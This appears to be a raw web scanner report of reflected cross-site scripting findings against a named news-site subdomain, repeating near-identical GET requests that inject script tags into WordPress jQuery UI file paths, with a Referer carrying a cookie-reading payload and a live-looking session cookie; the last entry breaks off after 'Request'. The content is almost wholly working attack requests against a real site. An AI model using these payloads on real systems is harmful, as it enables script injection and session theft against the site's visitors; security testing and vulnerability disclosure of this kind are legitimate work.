The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc435"><script>alert(1)</script>273f81fd7b6 was submitted in the REST URL parameter 4. This input was echoed as cc435\"><script>alert(1)</script>273f81fd7b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.core.jscc435"><script>alert(1)</script>273f81fd7b6?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86d6a"><script>alert(1)</script>32526c1adac was submitted in the REST URL parameter 1. This input was echoed as 86d6a\"><script>alert(1)</script>32526c1adac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes86d6a"><script>alert(1)</script>32526c1adac/js/jquery/ui.dialog.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b69d"><script>alert(1)</script>b482ecd7f34 was submitted in the REST URL parameter 2. This input was echoed as 5b69d\"><script>alert(1)</script>b482ecd7f34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js5b69d"><script>alert(1)</script>b482ecd7f34/jquery/ui.dialog.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6570"><script>alert(1)</script>7617c121d11 was submitted in the REST URL parameter 3. This input was echoed as d6570\"><script>alert(1)</script>7617c121d11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jqueryd6570"><script>alert(1)</script>7617c121d11/ui.dialog.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4c83"><script>alert(1)</script>2c7deadcccb was submitted in the REST URL parameter 4. This input was echoed as f4c83\"><script>alert(1)</script>2c7deadcccb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.dialog.jsf4c83"><script>alert(1)</script>2c7deadcccb?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1faf3"><script>alert(1)</script>ba532f3735f was submitted in the REST URL parameter 1. This input was echoed as 1faf3\"><script>alert(1)</script>ba532f3735f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes1faf3"><script>alert(1)</script>ba532f3735f/js/jquery/ui.draggable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62d0d"><script>alert(1)</script>5688100798f was submitted in the REST URL parameter 2. This input was echoed as 62d0d\"><script>alert(1)</script>5688100798f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js62d0d"><script>alert(1)</script>5688100798f/jquery/ui.draggable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2791"><script>alert(1)</script>b176f0618fd was submitted in the REST URL parameter 3. This input was echoed as b2791\"><script>alert(1)</script>b176f0618fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jqueryb2791"><script>alert(1)</script>b176f0618fd/ui.draggable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0afc"><script>alert(1)</script>4e6d203c207 was submitted in the REST URL parameter 4. This input was echoed as d0afc\"><script>alert(1)</script>4e6d203c207 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.draggable.jsd0afc"><script>alert(1)</script>4e6d203c207?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afa97"><script>alert(1)</script>7078a85650f was submitted in the REST URL parameter 1. This input was echoed as afa97\"><script>alert(1)</script>7078a85650f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includesafa97"><script>alert(1)</script>7078a85650f/js/jquery/ui.droppable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be9b3"><script>alert(1)</script>7661972d672 was submitted in the REST URL parameter 2. This input was echoed as be9b3\"><script>alert(1)</script>7661972d672 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/jsbe9b3"><script>alert(1)</script>7661972d672/jquery/ui.droppable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec32c"><script>alert(1)</script>20825b10b87 was submitted in the REST URL parameter 3. This input was echoed as ec32c\"><script>alert(1)</script>20825b10b87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jqueryec32c"><script>alert(1)</script>20825b10b87/ui.droppable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6e3a"><script>alert(1)</script>a5cce0ede9d was submitted in the REST URL parameter 4. This input was echoed as d6e3a\"><script>alert(1)</script>a5cce0ede9d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.droppable.jsd6e3a"><script>alert(1)</script>a5cce0ede9d?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e736"><script>alert(1)</script>690b594346e was submitted in the REST URL parameter 1. This input was echoed as 4e736\"><script>alert(1)</script>690b594346e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes4e736"><script>alert(1)</script>690b594346e/js/jquery/ui.resizable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eeee1"><script>alert(1)</script>eb381eb2b86 was submitted in the REST URL parameter 2. This input was echoed as eeee1\"><script>alert(1)</script>eb381eb2b86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/jseeee1"><script>alert(1)</script>eb381eb2b86/jquery/ui.resizable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80b15"><script>alert(1)</script>c094cfc6fba was submitted in the REST URL parameter 3. This input was echoed as 80b15\"><script>alert(1)</script>c094cfc6fba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery80b15"><script>alert(1)</script>c094cfc6fba/ui.resizable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f12b"><script>alert(1)</script>d80fd94c6a8 was submitted in the REST URL parameter 4. This input was echoed as 7f12b\"><script>alert(1)</script>d80fd94c6a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.resizable.js7f12b"><script>alert(1)</script>d80fd94c6a8?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2965"><script>alert(1)</script>a48d1e98cf8 was submitted in the REST URL parameter 1. This input was echoed as a2965\"><script>alert(1)</script>a48d1e98cf8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includesa2965"><script>alert(1)</script>a48d1e98cf8/js/jquery/ui.selectable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6849a"><script>alert(1)</script>55d79ba84cf was submitted in the REST URL parameter 2. This input was echoed as 6849a\"><script>alert(1)</script>55d79ba84cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js6849a"><script>alert(1)</script>55d79ba84cf/jquery/ui.selectable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 602d0"><script>alert(1)</script>30db3f8d9ab was submitted in the REST URL parameter 3. This input was echoed as 602d0\"><script>alert(1)</script>30db3f8d9ab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery602d0"><script>alert(1)</script>30db3f8d9ab/ui.selectable.js?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62d72"><script>alert(1)</script>4d7c1edb910 was submitted in the REST URL parameter 4. This input was echoed as 62d72\"><script>alert(1)</script>4d7c1edb910 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-includes/js/jquery/ui.selectable.js62d72"><script>alert(1)</script>4d7c1edb910?ver=1.7.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1cf2"><script>alert(1)</script>5999fd77bde was submitted in the REST URL parameter 1. This input was echoed as a1cf2\"><script>alert(1)</script>5999fd77bde in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
